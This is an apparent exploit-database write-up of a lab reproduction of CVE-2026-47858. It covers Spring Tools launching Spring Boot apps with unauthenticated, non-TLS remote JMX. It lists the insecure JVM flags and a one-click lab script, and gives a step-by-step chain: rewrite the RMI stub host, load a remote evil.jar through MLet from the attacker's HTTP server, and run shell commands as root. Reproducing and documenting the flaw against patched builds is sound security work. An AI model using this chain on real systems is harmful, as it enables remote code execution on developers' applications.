## https://sploitus.com/exploit?id=0D49B6FD-25E2-5EF6-85A7-1E2D3014BD5A
# CVE-2026-47858 Replay Experiment Record
**Vulnerability**: Spring Tools (Eclipse ≤5.2.0 / VSCode/Cursor/Theia ≤2.2.0) runs in live information mode.
When a Spring Boot application is launched, insecure JMX remote parameters are injected into the application, leading to unauthorized JMX access → remote code execution (RCE). **Official Information**:
- Bulletin: https://spring.io/security/cve-2026-47858
- CVE: https://vulners.com/cve/CVE-2026-47858
- CWE-306 (Missing Authentication for Critical Function), CVSS 8.0 HIGH (AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
## One-Click Replay
```bash
# Dependencies: Docker, JDK 17+ (default /usr/lib/jvm/java-21-openjdk-amd64), Maven, Python3
./run-lab.sh vuln # Vulnerability configuration (Spring Tools 5.2.0 parameters) -> RCE evidence should be displayed
./run-lab.sh fixed-pinned # Fixed version 5.3.0 with fixed port -> Attack fails (JMX only listens on 127.0.0.1)
./run-lab.sh fixed-auto # Fixed version 5.3.0 with default auto -> Attack fails (no remote JMX port)
```
The script will automatically: build the target Spring Boot application → create a malicious jar → set up an isolated Docker bridge network.
(The victim container is 172.22.0.x / the attacker is on the host, simulating a neighboring network) → Launch the application with the corresponding JVM parameters → Display the listening ports → Run the exploit program → Verify the RCE marked file inside the victim container.) ## Root Cause (Source code evidence, tag 5.2.0.RELEASE == v2.2.0)
`eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java` (5.2.0):
```java
"-Dcom.sun.management.jmxremote", // Enable JMX
"-Dcom.sun.management.jmxremote.port=",
"-Dcom.sun.management.jmxremote.authenticate=false", // No authentication! "-Dcom.sun.management.jmxremote.ssl=false", // No TLS! "-Djava.rmi.server.hostname=localhost", // The only “barrier”: stub notifications are sent to localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // All actuator endpoints are exposed via JMX
```
- `BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true` (Enabled by default)
In the fixed version 5.3.0, `-Dcom.sun.management.jmxremote.host=127.0.0.1` and `-Dcom.sun.management.jmxremote.local.only=true` were added;
When the default port is 0, the jmxremote parameters are completely disabled (instead, the Attach API is used for local attachment based on PID). The VSCode extension 2.2.0 (`vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts`) also injects these parameters. `-Dcom.sun.management.jmxremote.port=-Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false`;
2.3.0 Fully removed.
## Experimental Environment
- **Victim Application**: Spring Boot 4.0.7 (web+actuator); the jar file can be found at `victim-app/app/target/app-0.0.1-SNAPSHOT.jar`.
- **Victim Container**: Docker container named `victim` (bridged network, cve-lab; IP: 172.22.0.2); started with JVM parameters identical to those used in STS 5.2.0.
- **Attacker**: Host system (same subnet as the victim, 172.22.0.1; adjacent network); Java program: `attacker/JmxExploit.java`.
- **Malicious Payload**: `exploit-server/evil.jar` (class `Pwn`; implements DynamicMBean; constructor executes commands); `exploit-server/mlet.txt` (MLET tag); provided via HTTP.
## Test Results
| Configuration | JMX Listening | Unauthorized Remote Connection | RCE |
|---|---|---|---|---|
| **5.2.0 Vulnerability Edition** (Eclipse parameters): `*:19090` etc. (0.0.0.0). | âś… (Stub bypassed by redirecting to localhost). | âś… `uid=0(root)`, container host name, marker file. |
| **5.2.0 Vulnerability Edition** (VSCode 2.2.0 parameters): `*:19090` (0.0.0.0). | âś… | âś… |
| **5.3.0 Fixed Edition** (fixed port): Only `127.0.0.1`. | ❌ Connection refused. | ❌ |
| **5.3.0 Fixed Edition** (default auto mode): No JMX port. | ❌ | ❌ |
### Attack Path (Vulnerability Edition)
1. Connect to the victim’s RMI registry at `172.22.0.2:19090`; find the binding for `jmxrmi`.
2. A naive client attempt → failed: `Connection refused to host: localhost` (Stub redirects to localhost).
3. By rewriting the stub’s TCPEndpoint host to the actual IP address, a connection without credentials is successful.
39–40 MBeans are accessible (including all JVM MBeans and Spring Boot actuator endpoints).
4. Register `javax.management.loading.MLet`, then call `getMBeansFromURL("http:///mlet.txt")`.
5. The victim’s JVM downloads `evil.jar` from the attacker’s HTTP server, instantiates `Pwn`, and the constructor executes the command: `/bin/sh -c "id; hostname; echo PWNED_BY_CVE-2026-47858 > /tmp/CVE-2026-47858_PWNED_info"`.
### Verification within the Victim Container (RCE succeeded)
```
/tmp/CVE-2026-47858_PWNED (Marker file)
/tmp/CVE-2026-47858_PWNED_info = PWNED_BY_CVE-2026-47858
/tmp/CVE-2026-47858_PWNED_cmdout = uid=0(root), gid=0(root), groups=0(root)
d4af4b454b90 <-- Host name of the victim container
```
## Conclusion
**The vulnerability actually exists.** Spring Tools 5.2.0 (and earlier versions) has a default live information mode that enables Spring Boot applications to start with “JMX without authentication + no TLS + bound to all network interfaces”. Attackers in adjacent networks can bypass the `java.rmi.server.hostname=localhost` directive (by rewriting the RMI stub’s host) and connect to the JMX MBeanServer without credentials. Through MLet, arbitrary commands can be executed (with root privileges). The 5.3.0/2.3.0 fixed editions have fixed JMX binding to 127.0.0.1 (fixed port) or completely removed remote JMX (default auto mode), thereby blocking attacks.